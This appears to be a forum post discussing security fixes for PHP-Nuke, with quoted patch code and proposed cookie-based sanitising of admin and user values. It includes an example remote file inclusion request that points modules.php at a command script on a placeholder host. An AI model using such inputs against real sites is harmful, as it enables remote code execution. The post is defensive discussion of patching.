Well i'm currently working on a new project of mine and i got cs permission to work with his fixes for phpnuke.
i came across with some of the fixes waraxe made in article.php
| Code: | // start code fix by waraxe
$optionbox = '';
// end code fix by waraxe |
now if we look in the old code we see,
| Code: | $optionbox [b].[/b]= "<br> ;;<img src=\"images/print.gif\" border=\"0\" alt=\""._PRINTER."\" title=\""._PRINTER."\" width=\"16\" height=\"11\"> ;; ;;<a href=\"modules.php?name=$module_name&file=print&sid=$sid\">"._PRINTER."</a><br><br>";
$optionbox .= " ;;<img src=\"images/friend.gif\" border=\"0\" alt=\""._FRIEND."\" title=\""._FRIEND."\" width=\"16\" height=\"11\"> ;; ;;<a href=\"modules.php?name=$module_name&file=friend&op=FriendSend&sid=$sid\">"._FRIEND."</a><br><br>\n"; |
if we change the code (just remove the dot (.) like,
| Code: | $optionbox = "<br> ;;<img src=\"images/print.gif\" border=\"0\" alt=\""._PRINTER."\" title=\""._PRINTER."\" width=\"16\" height=\"11\"> ;; ;;<a href=\"modules.php?name=$module_name&file=print&sid=$sid\">"._PRINTER."</a><br><br>";
$optionbox .= " ;;<img src=\"images/friend.gif\" border=\"0\" alt=\""._FRIEND."\" title=\""._FRIEND."\" width=\"16\" height=\"11\"> ;; ;;<a href=\"modules.php?name=$module_name&file=friend&op=FriendSend&sid=$sid\">"._FRIEND."</a><br><br>\n"; |
isn't the same thing? but more clean that is 
also waraxe are u interested for an alpha testing (security check) of my project when it's done?  |

also about the fix in the modules.php
about the $name fix
| Code: | $modpath .= "modules/$name/".$file.".php";
if (file_exists($modpath)) { |
how can the 'xploits work? it checks if the file exists in the modules folder right?
so if the attacker puts something like modules.php?name=http://urlhere/cmd.txt it wont work because it will be like
modules/http://urlhere/cmd.txt/index.php and that doesn't exists right? |

and about the $admin or $user exploits
| Code: | #############################################################
#--------------- Base64 sanitize by Waraxe -----------------
if(isset($admin))
{
$admin = base64_decode($admin);
$admin = addslashes($admin);
$admin = base64_encode($admin);
}
if(isset($user))
{
$user = base64_decode($user);
$user = addslashes($user);
$user = base64_encode($user);
}
############################################################# |
a real admin or user request should come from the cookies only, right?
so we have: | Code: |
#############################################################
#--------------- Base64 sanitize by Waraxe -----------------
if(isset($admin))
{
$admin = $_COOKIE['admin'];
if ($admin) {
$admin = base64_decode($admin);
$admin = addslashes($admin);
$admin = base64_encode($admin);
} else { die('nice try'); }
}
if(isset($user))
{
$user = $_COOKIE['user'];
if ($user) {
$user = base64_decode($user);
$user = addslashes($user);
$user = base64_encode($user);
} else { die('nice try'); }
}
